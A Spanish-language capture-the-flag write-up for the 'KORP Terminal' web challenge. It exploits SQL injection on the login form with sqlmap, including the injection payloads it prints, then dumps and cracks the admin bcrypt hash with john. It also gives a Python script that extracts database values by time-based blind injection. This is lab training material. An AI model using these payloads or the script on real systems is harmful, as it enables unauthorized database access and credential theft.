KORP Terminal

Challenge Description

Your faction must infiltrate the KORP™ terminal and gain access to the Legionaries’ privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols.

Categoria: Web
Dificultad: Muy Fácil

Solution

La aplicacion solo muestra un panel de inicio de sesion. Despues de realizar varias pruebas nos percatamos en el tiempo de respuesta del servidor al momento de intentar SQL Injection.

Tiempo de respuesta cuando el query es valido.

Tiempo de respuesta cuando el query es invalido.

Utilizando SQLMap podemos explotar rapidamente el SQLInjection.

sqlmap -r req.txt --ignore-code=401
[06:18:05] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 388 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: username=admin' RLIKE (SELECT (CASE WHEN (9609=9609) THEN 0x61646d696e ELSE 0x28 END))-- BuMH&password=admin

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=admin' AND (SELECT 4998 FROM(SELECT COUNT(*),CONCAT(0x7170707871,(SELECT (ELT(4998=4998,1))),0x7178767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- vZGC&password=admin

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
    Payload: username=admin' AND 9775=BENCHMARK(5000000,MD5(0x68696a4e))-- dqne&password=admin
---
[06:18:10] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

Obtenemos el hash del usuario admin.

sqlmap -r req.txt --ignore-code=401 -T users --dump
Database: korp_terminal
Table: users
[1 entry]
+----+--------------------------------------------------------------+----------+
| id | password                                                     | username |
+----+--------------------------------------------------------------+----------+
| 1  | $2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv. | admin    |
+----+--------------------------------------------------------------+----------+

Usando john podemos crackear el password.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (?)     
1g 0:00:00:23 DONE (2025-02-18 06:21) 0.04215g/s 59.19p/s 59.19c/s 59.19C/s lacoste..harry
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Ahora podemos autenticarnos a la pagina web y obtener la flag.

Extra

Podemos obtener los valores manualmente con el siguiente script.

import requests
import string
from datetime import timedelta

url = "http://94.237.48.223:48112/"
proxy = {"http":"http://127.0.0.1:8080"}

def sql_blind_response_time(column_name):
    wordlist = string.ascii_letters + string.ascii_lowercase + string.ascii_uppercase + string.digits + '$'
    position = 1
    column_value = ""
    threshold = timedelta(seconds=0.357214)
    
    while True:
        for i in wordlist:
            payload = {"username":"' OR MID({},{},1) LIKE BINARY '{}'-- -".format(column_name,position,i), "password":"a"}
            response = requests.post(url=url, data=payload)

            if response.elapsed > threshold:
                column_value += i 
                position += 1
                print("Column value: " + column_value)
                break

    return column_value


if __name__ == "__main__":
    username = sql_blind_response_time("(select username from users)")
    

# Get Values
# (select database())
# (select table_name from information_schema.tables where table_schema=database() limit 1,1)
# (select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1)